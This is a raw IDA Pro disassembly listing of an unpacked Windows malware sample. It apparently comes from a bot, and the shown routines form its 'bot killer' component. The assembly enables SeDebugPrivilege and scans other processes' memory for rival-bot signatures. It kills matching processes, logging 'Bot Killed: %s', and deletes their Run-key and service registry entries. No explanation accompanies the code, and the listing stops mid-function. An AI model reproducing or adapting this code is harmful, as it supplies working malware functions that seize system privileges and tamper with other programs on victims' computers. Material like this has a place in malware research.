;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	8D40104B0C89292D94DA6C713598C0BE

; File Name   :	u:\work\8d40104b0c89292d94da6c713598c0be_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001D000 ( 118784.)
; Section size in file		: 0001D000 ( 118784.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_404954+3C6o
					; y3hmw1t3:0044F804o ...

var_25D		= byte ptr -25Dh
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_240		= byte ptr -240h
var_238		= dword	ptr -238h
var_230		= dword	ptr -230h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 264h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+264h+var_4], eax
		push	ebx
		push	esi
		push	edi
		call	sub_40CADE	; GetCurrentProcessId
		mov	ebx, ds:dword_41E0E8
		push	offset aOpenthread ; "OpenThread"
		mov	edi, offset aKernel32_dll ; "kernel32.dll"
		push	edi
		mov	[esp+278h+var_24C], eax
		call	ebx	; GetModuleHandleA
		mov	esi, ds:off_41E0F0
		push	eax
		call	esi ; sub_4372E5
		push	offset aOpenprocess ; "OpenProcess"
		push	edi
		mov	dword_4265E0, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4265EC, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4265D4, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4265D8, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4265DC, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aModule32next ; "Module32Next"
		push	edi
		mov	dword_4265C8, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aThread32first ;	"Thread32First"
		push	edi
		mov	dword_4265E4, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aThread32next ; "Thread32Next"
		push	edi
		mov	dword_4265CC, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aReadprocessmem ; "ReadProcessMemory"
		push	edi
		mov	dword_4265F0, eax
		call	ebx	; GetModuleHandleA
		push	eax
		call	esi ; sub_4372E5
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	offset aPsapi_dll ; "psapi.dll"
		mov	dword_4265D0, eax
		call	ds:off_41E0EC
		push	eax
		call	esi ; sub_4372E5
		xor	ebx, ebx
		cmp	dword_4265E0, ebx
		mov	dword_4265E8, eax
		jz	loc_4013E4
		cmp	dword_4265EC, ebx
		jz	loc_4013E4
		cmp	dword_4265D4, ebx
		jz	loc_4013E4
		cmp	dword_4265D8, ebx
		jz	loc_4013E4
		cmp	dword_4265DC, ebx
		jz	loc_4013E4
		cmp	dword_4265C8, ebx
		jz	loc_4013E4
		cmp	dword_4265E4, ebx
		jz	loc_4013E4
		cmp	dword_4265CC, ebx
		jz	loc_4013E4
		cmp	dword_4265F0, ebx
		jz	loc_4013E4
		cmp	dword_4265D0, ebx
		jz	loc_4013E4
		cmp	eax, ebx
		jz	loc_4013E4

loc_401171:				; CODE XREF: sub_401000+3DFj
		push	ebx
		push	0Fh
		mov	[esp+278h+var_238], 128h
		call	dword_4265D4
		lea	ecx, [esp+270h+var_238]
		push	ecx
		push	eax
		mov	[esp+278h+var_258], eax
		call	dword_4265D8
		test	eax, eax
		jz	loc_4013D4
		jmp	loc_4013BD
; ---------------------------------------------------------------------------

loc_40119F:				; CODE XREF: sub_401000+3CEj
		mov	edi, ds:off_41E104
		lea	eax, [esp+270h+var_25C]
		push	eax
		push	ebx
		push	28h
		mov	[esp+27Ch+var_25D], 1
		call	edi ; sub_44D8ED
		mov	esi, ds:off_41E038
		push	eax
		call	esi ; sub_44B68D
		test	eax, eax
		jnz	short loc_4011F3
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		cmp	eax, 3F0h
		jnz	short loc_4011EF
		push	2
		call	ds:off_41E030
		test	eax, eax
		jnz	short loc_4011DE
		mov	[esp+270h+var_25D], bl

loc_4011DE:				; CODE XREF: sub_401000+1D8j
		lea	eax, [esp+270h+var_25C]

loc_4011E2:				; DATA XREF: sub_4780D7+101r
		push	eax
		push	ebx
		push	28h
		call	edi ; sub_44D8ED
		push	eax
		call	esi ; sub_44B68D
		test	eax, eax
		jnz	short loc_4011F3

loc_4011EF:				; CODE XREF: sub_401000+1CCj
		mov	[esp+270h+var_25D], bl

loc_4011F3:				; CODE XREF: sub_401000+1BFj
					; sub_401000+1EDj
		mov	esi, [esp+270h+var_25C]
		lea	eax, [esp+270h+var_240]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	ebx
		call	ds:off_41E034
		test	eax, eax
		jz	short loc_40121E
		push	1
		push	esi
		lea	esi, [esp+278h+var_240]
		call	sub_401970
		cmp	al, bl
		pop	ecx
		pop	ecx
		jnz	short loc_40122C

loc_40121E:				; CODE XREF: sub_401000+20Aj
		push	[esp+270h+var_25C]
		call	ds:dword_41E0E0	; CloseHandle
		mov	[esp+270h+var_25D], bl

loc_40122C:				; CODE XREF: sub_401000+21Cj
		push	[esp+270h+var_230]
		push	ebx
		push	1F0FFFh
		call	dword_4265EC
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_401246
		mov	[esp+270h+var_25D], bl

loc_401246:				; CODE XREF: sub_401000+240j
		mov	esi, 104h
		push	esi
		lea	eax, [esp+274h+var_110]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		lea	eax, [esp+274h+var_110]
		push	eax
		push	ebx
		push	edi
		call	dword_4265E8
		cmp	[esp+270h+var_25D], bl
		jz	loc_4013A6
		mov	esi, [esp+270h+var_25C]
		lea	eax, [esp+270h+var_248]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	ebx
		call	ds:off_41E034
		test	eax, eax
		jz	short loc_40129E
		push	ebx
		push	esi
		lea	esi, [esp+278h+var_248]
		call	sub_401970
		pop	ecx
		pop	ecx

loc_40129E:				; CODE XREF: sub_401000+28Fj
		push	8
		lea	eax, [esp+274h+var_254]
		push	ebx
		push	eax
		call	sub_40CBA0
		mov	eax, [esp+27Ch+var_24C]
		add	esp, 0Ch
		cmp	[esp+270h+var_230], eax
		jz	loc_4013A6
		lea	eax, [esp+270h+var_214]
		push	offset aSystem	; "System"
		push	eax
		call	sub_40B187
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4013A6
		push	[esp+270h+var_230]
		call	sub_401800
		test	al, al
		pop	ecx
		jz	loc_4013A6
		push	[esp+270h+var_230]
		lea	esi, [esp+274h+var_254]
		call	sub_401771
		test	al, al
		pop	ecx
		jz	loc_40139C
		push	[esp+270h+var_250]
		push	[esp+274h+var_254]
		push	edi
		call	sub_4018E2
		add	esp, 0Ch
		test	al, al
		jz	loc_40139C
		push	100h
		call	sub_40AF26
		pop	ecx
		push	0FFFFFFFFh
		push	edi
		mov	esi, eax
		call	ds:off_41E0F8
		test	eax, eax
		jz	short loc_401395
		push	7D0h
		call	ds:off_41E0FC
		lea	eax, [esp+270h+var_110]
		push	eax
		call	ds:off_41E0D4
		test	eax, eax
		lea	eax, [esp+270h+var_214]
		push	eax
		jz	short loc_40135D
		call	sub_40140A
		pop	ecx
		lea	eax, [esp+270h+var_214]
		push	eax

loc_40135D:				; CODE XREF: sub_401000+350j
		call	sub_40158F
		pop	ecx
		push	esi
		call	sub_40CA3B
		pop	ecx
		push	eax
		mov	ebx, offset asc_424FD8 ; "²²ÉÇÉ"
		call	sub_401AD1
		pop	ecx
		lea	eax, [esp+270h+var_110]
		push	eax
		push	offset aBotKilledS ; "Bot Killed: %s"
		push	esi
		push	0
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 14h
		xor	ebx, ebx

loc_401395:				; CODE XREF: sub_401000+32Ej
		push	esi
		call	sub_40CC1A
		pop	ecx

loc_40139C:				; CODE XREF: sub_401000+2F7j
					; sub_401000+310j
		push	[esp+270h+var_230]
		call	sub_401871
		pop	ecx

loc_4013A6:				; CODE XREF: sub_401000+272j
					; sub_401000+2B6j ...
		push	[esp+270h+var_25C]
		mov	esi, ds:dword_41E0E0
		call	esi	; CloseHandle
		push	edi
		call	esi	; CloseHandle
		push	1
		call	ds:off_41E0FC

loc_4013BD:				; CODE XREF: sub_401000+19Aj
		lea	eax, [esp+270h+var_238]
		push	eax
		push	[esp+274h+var_258]
		call	dword_4265DC
		test	eax, eax
		jnz	loc_40119F

loc_4013D4:				; CODE XREF: sub_401000+194j
		push	927C0h
		call	ds:off_41E0FC
		jmp	loc_401171
; ---------------------------------------------------------------------------

loc_4013E4:				; CODE XREF: sub_401000+F7j
					; sub_401000+103j ...
		call	ds:dword_41E0E4	; GetCurrentThreadId
		push	eax
		call	sub_40847C
		pop	ecx
		mov	ecx, [esp+270h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn	4
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1B8h


sub_40140A	proc near		; CODE XREF: sub_401000+352p

var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-1B8h]
		sub	esp, 238h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+1B8h+var_4], eax
		mov	eax, [ebp+1B8h+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0FFh
		mov	[ebp+1B8h+var_228], eax
		lea	eax, [ebp+1B8h+var_103]
		push	ebx
		push	eax
		mov	[ebp+1B8h+var_238], offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_234], offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_230], offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_22C], offset aSoftwareMicr_2 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		mov	[ebp+1B8h+var_104], bl
		call	sub_40CBA0
		mov	edi, ds:off_41E020
		mov	esi, 100h
		add	esp, 0Ch
		mov	[ebp+1B8h+var_220], esi
		mov	[ebp+1B8h+var_21C], esi
		mov	[ebp+1B8h+var_20C], offset dword_4255A4
		mov	[ebp+1B8h+var_224], 2

loc_401489:				; CODE XREF: sub_40140A+167j
		mov	[ebp+1B8h+var_208], ebx

loc_40148C:				; CODE XREF: sub_40140A+15Aj
		mov	eax, [ebp+1B8h+var_208]
		mov	eax, [ebp+eax*4+1B8h+var_238]
		lea	ecx, [ebp+1B8h+var_218]
		push	ecx
		push	1
		push	ebx
		push	eax
		mov	eax, [ebp+1B8h+var_20C]
		push	dword ptr [eax]
		call	ds:off_41E02C
		test	eax, eax
		jnz	loc_401554
		lea	eax, [ebp+1B8h+var_21C]
		push	eax
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+1B8h+var_220]
		push	eax
		lea	eax, [ebp+1B8h+var_104]
		push	eax
		mov	[ebp+1B8h+var_214], ebx
		push	ebx
		jmp	short loc_401544
; ---------------------------------------------------------------------------

loc_4014C9:				; CODE XREF: sub_40140A+144j
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		mov	[ebp+1B8h+var_210], ebx
		call	sub_40C9B0
		pop	ecx

loc_4014D6:				; CODE XREF: sub_40140A+117j
		push	[ebp+1B8h+var_228]
		call	sub_40C9B0
		push	eax
		mov	eax, [ebp+1B8h+var_210]
		push	[ebp+1B8h+var_228]
		lea	eax, [ebp+eax+1B8h+var_204]
		push	eax
		call	sub_40B2C7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_401511
		lea	eax, [ebp+1B8h+var_104]
		push	eax
		mov	eax, [ebp+1B8h+var_208]
		push	[ebp+eax*4+1B8h+var_238]
		mov	eax, [ebp+1B8h+var_20C]
		push	dword ptr [eax]
		call	sub_405136
		add	esp, 0Ch

loc_401511:				; CODE XREF: sub_40140A+EAj
		inc	[ebp+1B8h+var_210]
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		call	sub_40C9B0
		cmp	[ebp+1B8h+var_210], eax
		pop	ecx
		jbe	short loc_4014D6
		inc	[ebp+1B8h+var_214]
		lea	eax, [ebp+1B8h+var_21C]
		push	eax
		lea	eax, [ebp+1B8h+var_204]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+1B8h+var_220]
		push	eax
		lea	eax, [ebp+1B8h+var_104]
		push	eax
		push	[ebp+1B8h+var_214]
		mov	[ebp+1B8h+var_220], esi
		mov	[ebp+1B8h+var_21C], esi

loc_401544:				; CODE XREF: sub_40140A+BDj
		push	[ebp+1B8h+var_218]
		call	edi ; sub_43C17B
		cmp	eax, 103h
		jnz	loc_4014C9

loc_401554:				; CODE XREF: sub_40140A+9Ej
		push	[ebp+1B8h+var_218]
		call	ds:dword_41E010	; RegCloseKey
		inc	[ebp+1B8h+var_208]
		cmp	[ebp+1B8h+var_208], 4
		jb	loc_40148C
		add	[ebp+1B8h+var_20C], 4
		dec	[ebp+1B8h+var_224]
		jnz	loc_401489
		mov	ecx, [ebp+1B8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 1B8h
		leave
		retn
sub_40140A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2C8h


sub_40158F	proc near		; CODE XREF: sub_401000:loc_40135Dp

var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_338		= dword	ptr -338h
var_334		= byte ptr -334h
var_234		= byte ptr -234h
var_233		= byte ptr -233h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_34		= byte ptr -34h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-2C8h]
		sub	esp, 348h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+2C8h+var_4], eax
		push	ebx
		push	esi
		mov	eax, [ebp+2C8h+arg_0]
		push	edi
		push	0Bh
		pop	ecx
		mov	esi, offset aSystemControls ; "SYSTEM\\ControlSet001\\Services\\Eventlog\\"...
		lea	edi, [ebp+2C8h+var_34]
		rep movsd
		movsw
		mov	esi, 0FFh
		xor	ebx, ebx
		push	esi
		mov	[ebp+2C8h+var_348], eax
		lea	eax, [ebp+2C8h+var_133]
		push	ebx
		push	eax
		mov	[ebp+2C8h+var_134], bl
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp+2C8h+var_233]
		push	ebx
		push	eax
		mov	[ebp+2C8h+var_234], bl
		call	sub_40CBA0
		add	esp, 18h
		lea	eax, [ebp+2C8h+var_340]
		push	eax
		push	0F003Fh
		push	ebx
		lea	eax, [ebp+2C8h+var_34]
		push	eax
		push	80000002h
		call	ds:off_41E02C
		test	eax, eax
		jnz	loc_401750
		inc	esi
		push	esi
		lea	eax, [ebp+2C8h+var_234]
		push	eax
		push	ebx
		push	[ebp+2C8h+var_340]
		mov	[ebp+2C8h+var_33C], ebx
		call	ds:off_41E018
		cmp	eax, 103h
		jz	loc_401750
		mov	edi, ds:off_41E040

loc_401645:				; CODE XREF: sub_40158F+1BBj
		push	esi
		lea	eax, [ebp+2C8h+var_334]
		push	ebx
		push	eax
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp+2C8h+var_134]
		push	ebx
		push	eax
		call	sub_40CBA0
		lea	eax, [ebp+2C8h+var_234]
		push	eax
		lea	eax, [ebp+2C8h+var_34]
		push	eax
		push	offset aSS_2	; "%s\\%s"
		lea	eax, [ebp+2C8h+var_134]
		push	0FFh
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+2C8h+var_134]
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax+2C8h+var_134],	bl
		push	esi
		lea	eax, [ebp+2C8h+var_334]
		push	eax
		push	offset aEventmessagefi ; "EventMessageFile"
		lea	eax, [ebp+2C8h+var_134]
		push	eax
		push	1
		call	sub_40518A
		add	esp, 44h
		test	al, al
		jz	short loc_40172E
		lea	eax, [ebp+2C8h+var_334]
		push	eax
		mov	[ebp+2C8h+var_338], ebx
		call	sub_40C9B0
		pop	ecx

loc_4016C1:				; CODE XREF: sub_40158F+19Dj
		push	[ebp+2C8h+var_348]
		call	sub_40C9B0
		push	eax
		mov	eax, [ebp+2C8h+var_338]
		push	[ebp+2C8h+var_348]
		lea	eax, [ebp+eax+2C8h+var_334]
		push	eax
		call	sub_40B2C7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40171C
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:off_41E024
		push	0F01FFh
		lea	ecx, [ebp+2C8h+var_234]
		push	ecx
		push	eax
		mov	[ebp+2C8h+var_344], eax
		call	ds:off_41E044
		mov	ebx, eax
		call	sub_4019FC
		push	ebx
		call	ds:off_41E03C
		push	[ebp+2C8h+var_344]
		call	edi ; sub_43C832
		push	ebx
		call	edi ; sub_43C832
		xor	ebx, ebx

loc_40171C:				; CODE XREF: sub_40158F+150j
		inc	[ebp+2C8h+var_338]
		lea	eax, [ebp+2C8h+var_334]
		push	eax
		call	sub_40C9B0
		cmp	[ebp+2C8h+var_338], eax
		pop	ecx
		jbe	short loc_4016C1

loc_40172E:				; CODE XREF: sub_40158F+123j
		inc	[ebp+2C8h+var_33C]
		push	esi
		lea	eax, [ebp+2C8h+var_234]
		push	eax
		push	[ebp+2C8h+var_33C]
		push	[ebp+2C8h+var_340]
		call	ds:off_41E018
		cmp	eax, 103h
		jnz	loc_401645

loc_401750:				; CODE XREF: sub_40158F+89j
					; sub_40158F+AAj
		push	[ebp+2C8h+var_340]
		call	ds:dword_41E010	; RegCloseKey
		mov	ecx, [ebp+2C8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		add	ebp, 2C8h
		leave
		retn
sub_40158F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401771	proc near		; CODE XREF: sub_401000+2EFp

var_228		= dword	ptr -228h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	edi
		push	[ebp+arg_0]
		xor	ebx, ebx
		push	8
		call	dword_4265D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4017AA

loc_40179A:				; CODE XREF: sub_401771+53j
		xor	al, al

loc_40179C:				; CODE XREF: sub_401771+8Dj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn
; ---------------------------------------------------------------------------

loc_4017AA:				; CODE XREF: sub_401771+27j
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		mov	[ebp+var_228], 224h
		call	dword_4265C8
		test	eax, eax
		jz	short loc_40179A

loc_4017C6:				; CODE XREF: sub_401771+6Bj
		inc	ebx
		cmp	ebx, 1
		jz	short loc_4017E2
		lea	eax, [ebp+var_228]
		push	eax
		push	edi
		call	dword_4265E4
		test	eax, eax
		jnz	short loc_4017C6
		xor	bl, bl
		jmp	short loc_4017F5
; ---------------------------------------------------------------------------

loc_4017E2:				; CODE XREF: sub_401771+59j
		mov	eax, [ebp+var_214]
		mov	[esi], eax
		mov	eax, [ebp+var_210]
		mov	[esi+4], eax
		mov	bl, 1

loc_4017F5:				; CODE XREF: sub_401771+6Fj
		push	edi
		call	ds:dword_41E0E0	; CloseHandle
		mov	al, bl
		jmp	short loc_40179C
sub_401771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401800	proc near		; CODE XREF: sub_401000+2D9p

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	0
		push	4
		call	dword_4265D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40181C

loc_401818:				; CODE XREF: sub_401800+30j
		xor	al, al
		jmp	short loc_40186E
; ---------------------------------------------------------------------------

loc_40181C:				; CODE XREF: sub_401800+16j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		mov	[ebp+var_1C], 1Ch
		call	dword_4265CC
		test	eax, eax
		jz	short loc_401818

loc_401832:				; CODE XREF: sub_401800+63j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_401856
		push	[ebp+var_14]
		push	0
		push	1F03FFh
		call	dword_4265E0
		push	eax
		call	ds:off_41E0DC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401865

loc_401856:				; CODE XREF: sub_401800+38j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_4265F0
		test	eax, eax
		jnz	short loc_401832

loc_401865:				; CODE XREF: sub_401800+54j
		push	esi
		call	ds:dword_41E0E0	; CloseHandle
		mov	al, 1

loc_40186E:				; CODE XREF: sub_401800+1Aj
		pop	esi
		leave
		retn
sub_401800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401871	proc near		; CODE XREF: sub_401000+3A0p

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	0
		push	4
		call	dword_4265D4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40188D

loc_401889:				; CODE XREF: sub_401871+30j
		xor	al, al
		jmp	short loc_4018DF
; ---------------------------------------------------------------------------

loc_40188D:				; CODE XREF: sub_401871+16j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		mov	[ebp+var_1C], 1Ch
		call	dword_4265CC
		test	eax, eax
		jz	short loc_401889

loc_4018A3:				; CODE XREF: sub_401871+63j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4018C7
		push	[ebp+var_14]
		push	0
		push	1F03FFh
		call	dword_4265E0
		push	eax
		call	ds:off_41E0D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4018D6

loc_4018C7:				; CODE XREF: sub_401871+38j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_4265F0
		test	eax, eax
		jnz	short loc_4018A3

loc_4018D6:				; CODE XREF: sub_401871+54j
		push	esi
		call	ds:dword_41E0E0	; CloseHandle
		mov	al, 1

loc_4018DF:				; CODE XREF: sub_401871+1Aj
		pop	esi
		leave
		retn
sub_401871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018E2	proc near		; CODE XREF: sub_401000+306p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_40AF26
		xor	edi, edi
		mov	esi, eax
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], edi
		jnz	short loc_40190A
		push	edi
		call	sub_40CC1A
		pop	ecx
		xor	al, al

loc_401906:				; CODE XREF: sub_4018E2+4Dj
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_40190A:				; CODE XREF: sub_4018E2+19j
		push	ebx
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4265D0
		test	eax, eax
		jnz	short loc_401931

loc_401923:				; CODE XREF: sub_4018E2+88j
		xor	bl, bl

loc_401925:				; CODE XREF: sub_4018E2+8Cj
		push	esi
		call	sub_40CC1A
		pop	ecx
		mov	al, bl
		pop	ebx
		jmp	short loc_401906
; ---------------------------------------------------------------------------

loc_401931:				; CODE XREF: sub_4018E2+3Fj
					; sub_4018E2+86j
		and	[ebp+var_4], 0
		mov	ebx, offset dword_4255B0

loc_40193A:				; CODE XREF: sub_4018E2+80j
		push	dword ptr [ebx+80h]
		lea	eax, [edi+esi]
		push	ebx
		push	eax
		call	sub_40B323
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40196C
		mov	eax, 84h
		add	[ebp+var_4], eax
		add	ebx, eax
		cmp	[ebp+var_4], 4A4h
		jb	short loc_40193A
		inc	edi
		cmp	edi, [ebp+var_8]
		jbe	short loc_401931
		jmp	short loc_401923
; ---------------------------------------------------------------------------

loc_40196C:				; CODE XREF: sub_4018E2+6Dj
		mov	bl, 1
		jmp	short loc_401925
sub_4018E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401970	proc near		; CODE XREF: sub_401000+213p
					; sub_401000+297p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	ecx, [esi]
		and	[ebp+var_18], 0
		push	ebx
		push	edi
		mov	edi, ds:off_41E014
		push	10h
		pop	eax
		mov	[ebp+var_20], ecx
		mov	ecx, [esi+4]
		mov	[ebp+var_1C], ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_14]
		push	ecx

loc_401998:				; DATA XREF: gwlw3lo.:00478999o
		push	eax
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	0
		push	[ebp+arg_0]
		mov	[ebp+var_24], 1
		call	edi ; sub_44BBED
		mov	ebx, ds:dword_41E0F4
		call	ebx	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_4019BE
		xor	al, al
		jmp	short loc_4019F8
; ---------------------------------------------------------------------------

loc_4019BE:				; CODE XREF: sub_401970+48j
		mov	eax, [esi]
		mov	[ebp+var_10], eax
		mov	eax, [esi+4]
		mov	[ebp+var_C], eax
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+var_14], 1
		jz	short loc_4019DD
		or	[ebp+var_8], 2
		jmp	short loc_4019E1
; ---------------------------------------------------------------------------

loc_4019DD:				; CODE XREF: sub_401970+65j
		and	[ebp+var_8], 0FFFFFFFDh

loc_4019E1:				; CODE XREF: sub_401970+6Bj
		push	eax
		push	eax
		push	[ebp+var_4]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	eax
		push	[ebp+arg_0]
		call	edi ; sub_44BBED
		call	ebx	; RtlGetLastWin32Error
		neg	eax
		sbb	al, al
		inc	al

loc_4019F8:				; CODE XREF: sub_401970+4Cj
		pop	edi
		pop	ebx
		leave
		retn
sub_401970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019FC	proc near		; CODE XREF: sub_40158F+177p

var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	2Ch
